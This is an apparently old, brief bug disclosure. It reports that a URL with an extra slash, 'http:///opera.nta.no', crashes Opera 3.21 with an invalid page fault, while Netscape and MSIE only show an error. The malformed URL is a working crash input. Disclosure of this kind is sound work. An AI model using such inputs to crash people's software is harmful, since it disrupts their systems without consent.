By putting an extra slash at the end of http:// tag will crash your opera browser. Tested on version 3.21
e.g.
http:///opera.nta.no
Seems to be save on Netscape and MSIE, they just generate an error message. ftp:/// tag does not crash any of the browsers.
OPERA caused an invalid page fault in
module OPERA.EXE at 015f:004c5476.
